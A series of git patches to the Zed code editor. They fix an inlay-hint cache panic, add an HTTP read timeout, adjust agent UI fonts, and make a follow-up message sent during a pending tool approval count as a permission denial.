diff --git a/crates/release_channel/src/lib.rs b/crates/release_channel/src/lib.rs
index ca3aff66e1ca62..c79ca14b74299b 100644
--- a/crates/release_channel/src/lib.rs
+++ b/crates/release_channel/src/lib.rs
@@ -12,13 +12,27 @@ const ZED_DOCS_URL: &str = "https://zed.dev/docs";
 /// stable | dev | nightly | preview
 pub static RELEASE_CHANNEL_NAME: LazyLock<String> = LazyLock::new(|| {
     if cfg!(debug_assertions) {
-        env::var("ZED_RELEASE_CHANNEL")
-            .unwrap_or_else(|_| include_str!("../../zed/RELEASE_CHANNEL").trim().to_string())
+        env::var("ZED_RELEASE_CHANNEL").unwrap_or_else(|_| compile_time_release_channel_name())
     } else {
-        include_str!("../../zed/RELEASE_CHANNEL").trim().to_string()
+        compile_time_release_channel_name()
     }
 });
 
+/// When a crate in zed is used as a dependency that uses the `crane` nix
+/// library, it vendors each crate separately and builds it in isolation, which
+/// makes the `include_str!` fail.
+///
+/// The build script checks for `$ZED_RELEASE_CHANNEL` and emits the `cfg`
+#[cfg(__do_not_set_zed_release_channel)]
+fn compile_time_release_channel_name() -> String {
+    env!("ZED_RELEASE_CHANNEL").trim().to_string()
+}
+
+#[cfg(not(__do_not_set_zed_release_channel))]
+fn compile_time_release_channel_name() -> String {
+    include_str!("../../zed/RELEASE_CHANNEL").trim().to_string()
+}
+
 #[doc(hidden)]
 pub static RELEASE_CHANNEL: LazyLock<ReleaseChannel> =
     LazyLock::new(|| match ReleaseChannel::from_str(&RELEASE_CHANNEL_NAME) {

From 3b79b56201f35dc87788e6a8ed9d432575484769 Mon Sep 17 00:00:00 2001
From: Finn Evers <finn@zed.dev>
Date: Mon, 27 Jul 2026 20:53:39 +0200
Subject: [PATCH 724/772] agent_ui: Use buffer font in more places (#61738)

Release Notes:

- N/A
---
 crates/agent_ui/src/conversation_view/thread_view.rs |  3 ++-
 crates/markdown/src/markdown.rs                      | 11 ++++++++++-
 2 files changed, 12 insertions(+), 2 deletions(-)

diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 004084c8e5256a..2f2bac1c094617 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -7754,7 +7754,8 @@ impl ThreadView {
             .unwrap_or(&command_source)
             .to_string();
 
-        let mut style = MarkdownStyle::themed(MarkdownFont::Agent, window, cx);
+        let mut style =
+            MarkdownStyle::themed(MarkdownFont::Agent, window, cx).with_agent_buffer_font(cx);
         style.container_style.text.font_size = Some(rems_from_px(12.).into());
         style.container_style.text.line_height = Some(rems_from_px(17.).into());
         style.height_is_multiple_of_line_height = true;
diff --git a/crates/markdown/src/markdown.rs b/crates/markdown/src/markdown.rs
index 92921b58c304c6..578b8d32784fae 100644
--- a/crates/markdown/src/markdown.rs
+++ b/crates/markdown/src/markdown.rs
@@ -195,7 +195,7 @@ impl MarkdownStyle {
         };
         let code_font_family = match font {
             MarkdownFont::Preview => theme_settings.markdown_preview_code_font_family().clone(),
-            MarkdownFont::Agent => theme_settings.agent_ui_font_family().clone(),
+            MarkdownFont::Agent => theme_settings.agent_buffer_font_family().clone(),
             MarkdownFont::Editor => theme_settings.buffer_font.family.clone(),
         };
 
@@ -373,6 +373,15 @@ impl MarkdownStyle {
         self
     }
 
+    pub fn with_agent_buffer_font(mut self, cx: &App) -> Self {
+        let theme_settings = ThemeSettings::get_global(cx);
+        self.base_text_style.font_family = theme_settings.agent_buffer_font_family().clone();
+        self.base_text_style.font_fallbacks = theme_settings.buffer_font.fallbacks.clone();
+        self.base_text_style.font_features = theme_settings.buffer_font.features.clone();
+        self.base_text_style.font_weight = theme_settings.buffer_font.weight;
+        self
+    }
+
     pub fn with_muted_text(mut self, cx: &App) -> Self {
         let colors = cx.theme().colors();
         self.base_text_style.color = colors.text_muted;

From 7b030b500810b04cf5fb4aa5973be99a502d9f36 Mon Sep 17 00:00:00 2001
From: Ben Kunkle <ben@zed.dev>
Date: Mon, 27 Jul 2026 16:04:36 -0500
Subject: [PATCH 725/772] project: Fix panic when an inlay hint response
 outlives its buffer version (#61747)

# Objective

Fix a nightly crash where Zed aborts on a bounds-check panic in the
inlay hint cache.

`LspStore::inlay_hints` captures a `RowChunk` before awaiting the
language server, then reads the hint cache with that chunk's id
afterwards. If the buffer shrank meanwhile, `latest_lsp_data` has
already rebuilt the cache with fewer chunks, so the stale id indexes out
of bounds. Chunks are 50 rows, so the reported crash only needed a
~150-250 line deletion, not a drastic edit.

Regressed in #61523. Nightly only; the regressing commit is in no
release tag, so this never reached preview or stable.

Fixes ZED-AGY
Fixes FR-142

## Solution

- Return an empty result when the buffer version no longer matches, so a
stale chunk id can never index the rebuilt cache. The stale *writes*
were already guarded by this version check; only the read sat outside
it.
- An empty result is already treated as "not fetched", so the chunk is
simply re-requested on the next refresh.

## Testing

`test_inlay_hint_response_after_buffer_shrinks` reproduces the abort
deterministically and passes with the fix. Note that it drives the race
through a fake language server rather than a real one.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A
---
 crates/editor/src/inlays/inlay_hints.rs | 124 +++++++++++++++++++++++-
 crates/project/src/lsp_store.rs         |  47 +++++----
 2 files changed, 149 insertions(+), 22 deletions(-)

diff --git a/crates/editor/src/inlays/inlay_hints.rs b/crates/editor/src/inlays/inlay_hints.rs
index 2a10a78515eb03..05c52d429ac136 100644
--- a/crates/editor/src/inlays/inlay_hints.rs
+++ b/crates/editor/src/inlays/inlay_hints.rs
@@ -1020,7 +1020,7 @@ pub mod tests {
     use multi_buffer::{MultiBuffer, MultiBufferOffset, PathKey};
     use parking_lot::Mutex;
     use pretty_assertions::assert_eq;
-    use project::{FakeFs, Project};
+    use project::{FakeFs, InvalidationStrategy, Project};
     use serde_json::json;
     use settings::{AllLanguageSettingsContent, InlayHintSettingsContent, SettingsStore};
     use std::ops::Range;
@@ -2211,6 +2211,128 @@ pub mod tests {
             .unwrap();
     }
 
+    #[gpui::test]
+    async fn test_inlay_hint_response_after_buffer_shrinks(cx: &mut gpui::TestAppContext) {
+        init_test(cx, &|settings| {
+            settings.defaults.inlay_hints = Some(InlayHintSettingsContent {
+                enabled: Some(true),
+                edit_debounce_ms: Some(0),
+                scroll_debounce_ms: Some(0),
+                ..InlayHintSettingsContent::default()
+            })
+        });
+
+        let (unblock_request, request_gate) = oneshot::channel::<()>();
+        let request_gate = Arc::new(Mutex::new(Some(request_gate)));
+        let fs = FakeFs::new(cx.background_executor.clone());
+        fs.insert_tree(
+            path!("/a"),
+            json!({
+                "main.rs": "let value = 1;\n".repeat(500),
+            }),
+        )
+        .await;
+
+        let project = Project::test(fs, [path!("/a").as_ref()], cx).await;
+        let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+        language_registry.add(rust_lang());
+        let mut fake_servers = language_registry.register_fake_lsp(
+            "Rust",
+            FakeLspAdapter {
+                capabilities: lsp::ServerCapabilities {
+                    inlay_hint_provider: Some(lsp::OneOf::Left(true)),
+                    ..lsp::ServerCapabilities::default()
+                },
+                initializer: Some(Box::new({
+                    let request_gate = request_gate.clone();
+                    move |fake_server| {
+                        let request_gate = request_gate.clone();
+                        fake_server.set_request_handler::<lsp::request::InlayHintRequest, _, _>(
+                            move |params, _| {
+                                // Only block the request for the far-away chunk, so that any
+                                // hint requests the editor makes for the top of the file do
+                                // not consume the gate.
+                                let request_gate = if params.range.start.line >= 400 {
+                                    request_gate.lock().take()
+                                } else {
+                                    None
+                                };
+                                async move {
+                                    if let Some(request_gate) = request_gate {
+                                        request_gate.await.ok();
+                                    }
+                                    Ok(Some(Vec::new()))
+                                }
+                            },
+                        );
+                    }
+                })),
+                ..FakeLspAdapter::default()
+            },
+        );
+
+        let buffer = project
+            .update(cx, |project, cx| {
+                project.open_local_buffer(path!("/a/main.rs"), cx)
+            })
+            .await
+            .unwrap();
+        // An editor is only needed so that the language server starts for this buffer.
+        let _editor = cx.add_window(|window, cx| {
+            Editor::for_buffer(buffer.clone(), Some(project.clone()), window, cx)
+        });
+        cx.executor().run_until_parked();
+        let _fake_server = fake_servers.next().await.unwrap();
+
+        // Query a single chunk far into the buffer, so that its chunk id is well past the
+        // number of chunks the buffer will have once shrunk.
+        let hint_tasks = project.update(cx, |project, cx| {
+            let query_range = buffer.read_with(cx, |buffer, _| {
+                buffer.anchor_before(Point::new(460, 0))..buffer.anchor_after(Point::new(460, 0))
+            });
+            project.lsp_store().update(cx, |lsp_store, cx| {
+                lsp_store.inlay_hints(
+                    InvalidationStrategy::None,
+                    buffer.clone(),
+                    vec![query_range],
+                    None,
+                    cx,
+                )
+            })
+        });
+        assert_eq!(
+            hint_tasks.len(),
+            1,
+            "Should have started a hint fetch for exactly the queried chunk"
+        );
+        cx.executor().run_until_parked();
+        assert!(
+            request_gate.lock().is_none(),
+            "Language server should have received the inlay hint request"
+        );
+
+        // Shrink the buffer while the response is still in flight, so that the buffer has
+        // far fewer chunks than the pending request's chunk id.
+        buffer.update(cx, |buffer, cx| {
+            let entire_buffer = 0..buffer.len();
+            buffer.edit([(entire_buffer, "fn main() {}")], None, cx);
+        });
+        cx.executor().run_until_parked();
+
+        // The stale response must be discarded rather than indexing the rebuilt, much
+        // shorter chunk cache with the pending request's chunk id.
+        unblock_request.send(()).unwrap();
+        for (chunk_range, hint_task) in hint_tasks {
+            let hints = hint_task
+                .await
+                .expect("Stale inlay hint response should not fail the fetch");
+            assert!(
+                hints.is_empty(),
+                "Stale response for chunk {chunk_range:?} should yield no hints, got {hints:?}"
+            );
+        }
+    }
+
     #[gpui::test(iterations = 4)]
     async fn test_large_buffer_inlay_requests_split(cx: &mut gpui::TestAppContext) {
         init_test(cx, &|settings| {
diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index e8bb95ac0db52c..06db4471ee9b12 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -7799,27 +7799,32 @@ impl LspStore {
                         Ok(new_hints_by_server) => lsp_store
                             .update(cx, |lsp_store, cx| {
                                 let lsp_data = lsp_store.latest_lsp_data(&buffer, cx);
-                                if lsp_data.buffer_version == query_version {
-                                    if new_hints_by_server.is_empty() {
-                                        lsp_data.inlay_hints.invalidate_for_chunk(chunk);
-                                    } else {
-                                        for (server_id, new_hints) in new_hints_by_server {
-                                            let new_hints = new_hints
-                                                .into_iter()
-                                                .map(|new_hint| {
-                                                    (
-                                                        InlayId::Hint(next_hint_id.fetch_add(
-                                                            1,
-                                                            atomic::Ordering::AcqRel,
-                                                        )),
-                                                        new_hint,
-                                                    )
-                                                })
-                                                .collect::<Vec<_>>();
-                                            lsp_data
-                                                .inlay_hints
-                                                .insert_new_hints(chunk, server_id, new_hints);
-                                        }
+                                // `chunk` indexes the chunks of the buffer version this fetch
+                                // was started for. If the buffer changed meanwhile, the hint
+                                // cache has been rebuilt for the new version and may hold fewer
+                                // chunks, so the stale id must not be used to index it.
+                                if lsp_data.buffer_version != query_version {
+                                    return CacheInlayHints::default();
+                                }
+                                if new_hints_by_server.is_empty() {
+                                    lsp_data.inlay_hints.invalidate_for_chunk(chunk);
+                                } else {
+                                    for (server_id, new_hints) in new_hints_by_server {
+                                        let new_hints = new_hints
+                                            .into_iter()
+                                            .map(|new_hint| {
+                                                (
+                                                    InlayId::Hint(
+                                                        next_hint_id
+                                                            .fetch_add(1, atomic::Ordering::AcqRel),
+                                                    ),
+                                                    new_hint,
+                                                )
+                                            })
+                                            .collect::<Vec<_>>();
+                                        lsp_data
+                                            .inlay_hints
+                                            .insert_new_hints(chunk, server_id, new_hints);
                                     }
                                 }
                                 lsp_data

From 865318723ec45d1ef66ecf790a57e7dba2344061 Mon Sep 17 00:00:00 2001
From: Conrad Irwin <conrad.irwin@gmail.com>
Date: Mon, 27 Jul 2026 21:16:10 -0600
Subject: [PATCH 726/772] reqwest_client: Allow configuring a per-read idle
 timeout (#61753)

Long-lived streaming responses (LLM completions) can stall when the
socket goes silent but the connection is never closed, leaving a read
that never returns to hang the request indefinitely. Add an opt-in
read_timeout parameter.

Release Notes:

- N/A
---
 crates/reqwest_client/src/reqwest_client.rs | 41 ++++++++++++++++++---
 1 file changed, 35 insertions(+), 6 deletions(-)

diff --git a/crates/reqwest_client/src/reqwest_client.rs b/crates/reqwest_client/src/reqwest_client.rs
index 066e95fc655990..79158c75281c3d 100644
--- a/crates/reqwest_client/src/reqwest_client.rs
+++ b/crates/reqwest_client/src/reqwest_client.rs
@@ -26,8 +26,12 @@ pub struct ReqwestClient {
 }
 
 impl ReqwestClient {
-    fn builder() -> reqwest::ClientBuilder {
-        reqwest::Client::builder()
+    /// Shared connection-management configuration for every client this type
+    /// builds. `read_timeout` sets an idle timeout on each body read (see
+    /// [`ReqwestClient::proxy_user_agent_and_read_timeout`]); `None` leaves
+    /// reads without a timeout.
+    fn builder(read_timeout: Option<Duration>) -> reqwest::ClientBuilder {
+        let builder = reqwest::Client::builder()
             .use_rustls_tls()
             .connect_timeout(Duration::from_secs(10))
             // Detect and drop connections that have silently gone bad on a
@@ -38,11 +42,15 @@ impl ReqwestClient {
             .pool_idle_timeout(Duration::from_secs(30))
             .http2_keep_alive_interval(Duration::from_secs(15))
             .http2_keep_alive_timeout(Duration::from_secs(10))
-            .http2_keep_alive_while_idle(true)
+            .http2_keep_alive_while_idle(true);
+        match read_timeout {
+            Some(read_timeout) => builder.read_timeout(read_timeout),
+            None => builder,
+        }
     }
 
     pub fn new() -> Self {
-        Self::builder()
+        Self::builder(None)
             .build()
             .expect("Failed to initialize HTTP client")
             .into()
@@ -51,16 +59,37 @@ impl ReqwestClient {
     pub fn user_agent(agent: &str) -> anyhow::Result<Self> {
         let mut map = HeaderMap::new();
         map.insert(http::header::USER_AGENT, HeaderValue::from_str(agent)?);
-        let client = Self::builder().default_headers(map).build()?;
+        let client = Self::builder(None).default_headers(map).build()?;
         Ok(client.into())
     }
 
     pub fn proxy_and_user_agent(proxy: Option<Url>, user_agent: &str) -> anyhow::Result<Self> {
+        Self::proxy_user_agent_and_read_timeout(proxy, user_agent, None)
+    }
+
+    /// Like [`ReqwestClient::proxy_and_user_agent`], but also applies a
+    /// per-read idle timeout. `read_timeout` fires only after that long with no
+    /// bytes received on a response body and resets on every chunk, so it
+    /// aborts a silently stalled stream without disturbing a healthy one that
+    /// merely goes quiet between chunks. Callers streaming long-lived responses
+    /// (e.g. LLM completions, which can pause for tens of seconds during
+    /// provider-side reasoning while keep-alive bytes still flow) should size
+    /// it comfortably above the provider's keep-alive interval.
+    ///
+    /// Note: on macOS the timeout is measured against a monotonic clock that
+    /// pauses during system sleep, so it does not fire from a suspend alone;
+    /// callers that need prompt detection of a connection killed while
+    /// suspended must re-validate the stream on wake themselves.
+    pub fn proxy_user_agent_and_read_timeout(
+        proxy: Option<Url>,
+        user_agent: &str,
+        read_timeout: Option<Duration>,
+    ) -> anyhow::Result<Self> {
         let user_agent = HeaderValue::from_str(user_agent)?;
 
         let mut map = HeaderMap::new();
         map.insert(http::header::USER_AGENT, user_agent.clone());
-        let mut client = Self::builder().default_headers(map);
+        let mut client = Self::builder(read_timeout).default_headers(map);
         let client_has_proxy;
 
         if let Some(proxy) = proxy.as_ref().and_then(|proxy_url| {

From a1510de54e99131f3c33c4fd86a8e71753cf08de Mon Sep 17 00:00:00 2001
From: Ben Kunkle <ben@zed.dev>
Date: Mon, 27 Jul 2026 22:18:02 -0500
Subject: [PATCH 727/772] agent: Report follow-up messages as tool permission
 denials (#61754)

# Objective

- Treat a follow-up sent during pending tool approval as a denial the
agent can understand.

## Solution

- Preserve the follow-up interruption through permission handling and
return a specific denial result to the model.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Agent: Fixed agents not recognizing follow-up messages as denial of
pending tool calls.
---
 crates/acp_thread/src/acp_thread.rs | 77 ++++++++++++++++++++++-------
 crates/agent/src/agent.rs           | 26 ++++++----
 crates/agent/src/tests/mod.rs       | 25 ++++++++++
 crates/agent/src/thread.rs          | 24 +++++++--
 4 files changed, 120 insertions(+), 32 deletions(-)

diff --git a/crates/acp_thread/src/acp_thread.rs b/crates/acp_thread/src/acp_thread.rs
index d76511bd590629..8c711bd916f67a 100644
--- a/crates/acp_thread/src/acp_thread.rs
+++ b/crates/acp_thread/src/acp_thread.rs
@@ -1222,16 +1222,18 @@ impl From<SelectedPermissionOutcome> for acp::SelectedPermissionOutcome {
     }
 }
 
-#[derive(Debug)]
+#[derive(Clone, Debug)]
 pub enum RequestPermissionOutcome {
     Cancelled,
+    InterruptedByFollowUp,
     Selected(SelectedPermissionOutcome),
 }
 
 impl From<RequestPermissionOutcome> for acp::RequestPermissionOutcome {
     fn from(value: RequestPermissionOutcome) -> Self {
         match value {
-            RequestPermissionOutcome::Cancelled => Self::Cancelled,
+            RequestPermissionOutcome::Cancelled
+            | RequestPermissionOutcome::InterruptedByFollowUp => Self::Cancelled,
             RequestPermissionOutcome::Selected(outcome) => Self::Selected(outcome.into()),
         }
     }
@@ -1262,7 +1264,7 @@ pub enum ToolCallStatus {
     WaitingForConfirmation {
         current_status: acp::ToolCallStatus,
         options: PermissionOptions,
-        respond_tx: oneshot::Sender<SelectedPermissionOutcome>,
+        respond_tx: oneshot::Sender<RequestPermissionOutcome>,
         kind: AuthorizationKind,
     },
     /// The tool call is currently running.
@@ -3401,10 +3403,7 @@ impl AcpThread {
         ));
 
         Ok(cx.spawn(async move |this, cx| {
-            let outcome = match rx.await {
-                Ok(outcome) => RequestPermissionOutcome::Selected(outcome),
-                Err(oneshot::Canceled) => RequestPermissionOutcome::Cancelled,
-            };
+            let outcome = rx.await.unwrap_or(RequestPermissionOutcome::Cancelled);
             this.update(cx, |_this, cx| {
                 cx.emit(AcpThreadEvent::ToolAuthorizationReceived(tool_call_id))
             })
@@ -3465,7 +3464,9 @@ impl AcpThread {
         let curr_status = mem::replace(&mut call.status, new_status);
 
         if let ToolCallStatus::WaitingForConfirmation { respond_tx, .. } = curr_status {
-            respond_tx.send(outcome).ok();
+            respond_tx
+                .send(RequestPermissionOutcome::Selected(outcome))
+                .ok();
         }
 
         cx.emit(AcpThreadEvent::EntryUpdated(ix));
@@ -3734,7 +3735,7 @@ impl AcpThread {
         self.had_error = false;
 
         let (tx, rx) = oneshot::channel();
-        let cancel_task = self.cancel(cx);
+        let cancel_task = self.cancel_inner(RequestPermissionOutcome::InterruptedByFollowUp, cx);
 
         self.turn_id += 1;
         let turn_id = self.turn_id;
@@ -3893,13 +3894,21 @@ impl AcpThread {
     }
 
     pub fn cancel(&mut self, cx: &mut Context<Self>) -> Task<()> {
+        self.cancel_inner(RequestPermissionOutcome::Cancelled, cx)
+    }
+
+    fn cancel_inner(
+        &mut self,
+        permission_outcome: RequestPermissionOutcome,
+        cx: &mut Context<Self>,
+    ) -> Task<()> {
         Self::flush_streaming_text(&mut self.streaming_text_buffer, cx);
         self.cancel_outstanding_elicitations(cx);
 
         let Some(turn) = self.running_turn.take() else {
             return Task::ready(());
         };
-        self.mark_pending_entries_as_canceled(cx);
+        self.mark_pending_entries_as_canceled(permission_outcome, cx);
         self.connection.cancel(&self.session_id, cx);
         cx.emit(AcpThreadEvent::StatusChanged);
 
@@ -3908,11 +3917,15 @@ impl AcpThread {
     }
 
     fn cancel_pending_turn_entries(&mut self, cx: &mut Context<Self>) {
-        self.mark_pending_entries_as_canceled(cx);
+        self.mark_pending_entries_as_canceled(RequestPermissionOutcome::Cancelled, cx);
         self.cancel_outstanding_elicitations(cx);
     }
 
-    fn mark_pending_entries_as_canceled(&mut self, cx: &mut Context<Self>) {
+    fn mark_pending_entries_as_canceled(
+        &mut self,
+        permission_outcome: RequestPermissionOutcome,
+        cx: &mut Context<Self>,
+    ) {
         for (ix, entry) in self.entries.iter_mut().enumerate() {
             match entry {
                 AgentThreadEntry::ToolCall(call) => {
@@ -3923,7 +3936,16 @@ impl AcpThread {
                             | ToolCallStatus::InProgress
                     );
                     if cancel {
-                        call.status = ToolCallStatus::Canceled;
+                        let previous_status =
+                            mem::replace(&mut call.status, ToolCallStatus::Canceled);
+                        if let ToolCallStatus::WaitingForConfirmation { respond_tx, .. } =
+                            previous_status
+                            && respond_tx.send(permission_outcome.clone()).is_err()
+                        {
+                            log::debug!(
+                                "Permission request closed before cancellation was delivered"
+                            );
+                        }
                         cx.emit(AcpThreadEvent::EntryUpdated(ix));
                     }
                 }
@@ -6479,7 +6501,8 @@ mod tests {
                 assert_eq!(outcome.option_id, allow_option_id);
                 assert_eq!(outcome.option_kind, acp::PermissionOptionKind::AllowOnce);
             }
-            RequestPermissionOutcome::Cancelled => {
+            RequestPermissionOutcome::Cancelled
+            | RequestPermissionOutcome::InterruptedByFollowUp => {
                 panic!("permission request should remain open after duplicate tool call update")
             }
         }
@@ -6591,7 +6614,8 @@ mod tests {
                 assert_eq!(outcome.option_id, acp::PermissionOptionId::new("allow"));
                 assert_eq!(outcome.option_kind, acp::PermissionOptionKind::AllowOnce);
             }
-            RequestPermissionOutcome::Cancelled => {
+            RequestPermissionOutcome::Cancelled
+            | RequestPermissionOutcome::InterruptedByFollowUp => {
                 panic!("resolved permission request should select an outcome")
             }
         }
@@ -6675,7 +6699,8 @@ mod tests {
                 assert_eq!(outcome.option_id, acp::PermissionOptionId::new("allow"));
                 assert_eq!(outcome.option_kind, acp::PermissionOptionKind::AllowOnce);
             }
-            RequestPermissionOutcome::Cancelled => {
+            RequestPermissionOutcome::Cancelled
+            | RequestPermissionOutcome::InterruptedByFollowUp => {
                 panic!("permission request should resolve after authorization")
             }
         }
@@ -6729,7 +6754,8 @@ mod tests {
 
         match permission_task.await {
             RequestPermissionOutcome::Cancelled => {}
-            RequestPermissionOutcome::Selected(_) => {
+            RequestPermissionOutcome::InterruptedByFollowUp
+            | RequestPermissionOutcome::Selected(_) => {
                 panic!("cancelled permission request should not select an outcome")
             }
         }
@@ -6791,7 +6817,8 @@ mod tests {
 
         match permission_task.await {
             RequestPermissionOutcome::Cancelled => {}
-            RequestPermissionOutcome::Selected(_) => {
+            RequestPermissionOutcome::InterruptedByFollowUp
+            | RequestPermissionOutcome::Selected(_) => {
                 panic!("terminal tool call update should close pending permission request")
             }
         }
@@ -9477,10 +9504,24 @@ mod tests {
         // Send first message (turn_id=1) - handler will block
         let first_request = thread.update(cx, |thread, cx| thread.send_raw("first", cx));
         assert_eq!(thread.read_with(cx, |t, _| t.turn_id), 1);
+        let permission_task = thread
+            .update(cx, |thread, cx| {
+                thread.request_tool_call_authorization(
+                    acp::ToolCall::new("permission", "Needs permission").into(),
+                    PermissionOptions::Flat(Vec::new()),
+                    AuthorizationKind::PermissionGrant,
+                    cx,
+                )
+            })
+            .unwrap();
 
         // Send second message (turn_id=2) while first is still blocked
         // This calls cancel() which takes turn 1's running_turn and sets turn 2's
         let second_request = thread.update(cx, |thread, cx| thread.send_raw("second", cx));
+        assert!(matches!(
+            permission_task.await,
+            RequestPermissionOutcome::InterruptedByFollowUp
+        ));
         assert_eq!(thread.read_with(cx, |t, _| t.turn_id), 2);
 
         let running_turn_after_second_send =
diff --git a/crates/agent/src/agent.rs b/crates/agent/src/agent.rs
index f96174baac1586..594032852ea8d9 100644
--- a/crates/agent/src/agent.rs
+++ b/crates/agent/src/agent.rs
@@ -2208,16 +2208,22 @@ impl NativeAgentConnection {
                                     )
                                 })??;
                                 cx.background_spawn(async move {
-                                    if let acp_thread::RequestPermissionOutcome::Selected(outcome) =
-                                        outcome_task.await
-                                    {
-                                        response
-                                            .send(outcome)
-                                            .map_err(|_| {
-                                                anyhow!("authorization receiver was dropped")
-                                            })
-                                            .log_err();
-                                    }
+                                    let outcome = match outcome_task.await {
+                                        acp_thread::RequestPermissionOutcome::Selected(outcome) => outcome,
+                                        acp_thread::RequestPermissionOutcome::InterruptedByFollowUp => {
+                                            acp_thread::SelectedPermissionOutcome::new(
+                                                acp::PermissionOptionId::new(
+                                                    FOLLOW_UP_PERMISSION_DENIED_OPTION_ID,
+                                                ),
+                                                acp::PermissionOptionKind::RejectOnce,
+                                            )
+                                        }
+                                        acp_thread::RequestPermissionOutcome::Cancelled => return,
+                                    };
+                                    response
+                                        .send(outcome)
+                                        .map_err(|_| anyhow!("authorization receiver was dropped"))
+                                        .log_err();
                                 })
                                 .detach();
                             }
diff --git a/crates/agent/src/tests/mod.rs b/crates/agent/src/tests/mod.rs
index 95cbcd9ca2ea41..98beabb86a5550 100644
--- a/crates/agent/src/tests/mod.rs
+++ b/crates/agent/src/tests/mod.rs
@@ -907,9 +907,20 @@ async fn test_tool_authorization(cx: &mut TestAppContext) {
             thought_signature: None,
         },
     ));
+    fake_model.send_last_completion_stream_event(LanguageModelCompletionEvent::ToolUse(
+        LanguageModelToolUse {
+            id: "tool_id_interrupted".into(),
+            name: ToolRequiringPermission::NAME.into(),
+            raw_input: "{}".into(),
+            input: language_model::LanguageModelToolUseInput::Json(json!({})),
+            is_input_complete: true,
+            thought_signature: None,
+        },
+    ));
     fake_model.end_last_completion_stream();
     let tool_call_auth_1 = next_tool_call_authorization(&mut events).await;
     let tool_call_auth_2 = next_tool_call_authorization(&mut events).await;
+    let interrupted_tool_call_auth = next_tool_call_authorization(&mut events).await;
 
     // Approve the first - send "allow" option_id (UI transforms "once" to "allow")
     tool_call_auth_1
@@ -929,6 +940,13 @@ async fn test_tool_authorization(cx: &mut TestAppContext) {
             acp::PermissionOptionKind::RejectOnce,
         ))
         .unwrap();
+    interrupted_tool_call_auth
+        .response
+        .send(acp_thread::SelectedPermissionOutcome::new(
+            acp::PermissionOptionId::new(FOLLOW_UP_PERMISSION_DENIED_OPTION_ID),
+            acp::PermissionOptionKind::RejectOnce,
+        ))
+        .unwrap();
     cx.run_until_parked();
 
     let completion = fake_model.pending_completions().pop().unwrap();
@@ -949,6 +967,13 @@ async fn test_tool_authorization(cx: &mut TestAppContext) {
                 is_error: true,
                 content: vec!["Permission to run tool denied by user".into()],
                 output: Some("Permission to run tool denied by user".into())
+            }),
+            language_model::MessageContent::ToolResult(LanguageModelToolResult {
+                tool_use_id: "tool_id_interrupted".into(),
+                tool_name: ToolRequiringPermission::NAME.into(),
+                is_error: true,
+                content: vec!["Permission denied: user sent a follow-up message instead of approving the tool call.".into()],
+                output: Some("Permission denied: user sent a follow-up message instead of approving the tool call.".into())
             })
         ]
     );
diff --git a/crates/agent/src/thread.rs b/crates/agent/src/thread.rs
index 75fb004ed3ae7e..0591576e8568c2 100644
--- a/crates/agent/src/thread.rs
+++ b/crates/agent/src/thread.rs
@@ -70,6 +70,9 @@ use util::{ResultExt, debug_panic, markdown::MarkdownCodeBlock, paths::PathStyle
 use uuid::Uuid;
 
 const TOOL_CANCELED_MESSAGE: &str = "Tool canceled by user";
+const TOOL_CALL_INTERRUPTED_BY_FOLLOW_UP_MESSAGE: &str =
+    "Permission denied: user sent a follow-up message instead of approving the tool call.";
+pub(crate) const FOLLOW_UP_PERMISSION_DENIED_OPTION_ID: &str = "follow_up_permission_denied";
 pub const MAX_TOOL_NAME_LENGTH: usize = 64;
 pub const MAX_SUBAGENT_DEPTH: u8 = 1;
 
@@ -1153,6 +1156,16 @@ pub struct ToolCallAuthorization {
     pub kind: acp_thread::AuthorizationKind,
 }
 
+fn ensure_tool_call_authorization_not_interrupted(
+    outcome: &acp_thread::SelectedPermissionOutcome,
+) -> Result<()> {
+    if outcome.option_id.0.as_ref() == FOLLOW_UP_PERMISSION_DENIED_OPTION_ID {
+        Err(anyhow!(TOOL_CALL_INTERRUPTED_BY_FOLLOW_UP_MESSAGE))
+    } else {
+        Ok(())
+    }
+}
+
 fn auto_resolve_permission_outcome(
     options: &acp_thread::PermissionOptions,
     is_allow: bool,
@@ -5860,8 +5873,8 @@ impl ToolCallEventStream {
                 };
                 futures::select_biased! {
                     outcome = (&mut response_rx).fuse() => {
-                        let outcome = outcome
-                            .map_err(|_| anyhow!("authorization channel closed"))?;
+                        let outcome = outcome.map_err(|_| anyhow!("authorization channel closed"))?;
+                        ensure_tool_call_authorization_not_interrupted(&outcome)?;
                         return Self::handle_sandbox_permission_outcome(
                             &outcome,
                             &request,
@@ -6151,6 +6164,7 @@ impl ToolCallEventStream {
             let outcome = response_rx
                 .await
                 .map_err(|_| anyhow!("authorization channel closed"))?;
+            ensure_tool_call_authorization_not_interrupted(&outcome)?;
 
             let option_id = outcome.option_id.0.as_ref();
             if option_id == acp_thread::SANDBOX_FALLBACK_RETRY_OPTION_ID {
@@ -6250,6 +6264,7 @@ impl ToolCallEventStream {
             let outcome = response_rx
                 .await
                 .map_err(|_| anyhow!("authorization channel closed"))?;
+            ensure_tool_call_authorization_not_interrupted(&outcome)?;
             Ok(outcome.option_id)
         })
     }
@@ -6324,6 +6339,7 @@ impl ToolCallEventStream {
                 let outcome = response_rx
                     .await
                     .map_err(|_| anyhow!("authorization channel closed"))?;
+                ensure_tool_call_authorization_not_interrupted(&outcome)?;
 
                 return Self::persist_permission_outcome(&outcome, fs, cx);
             };
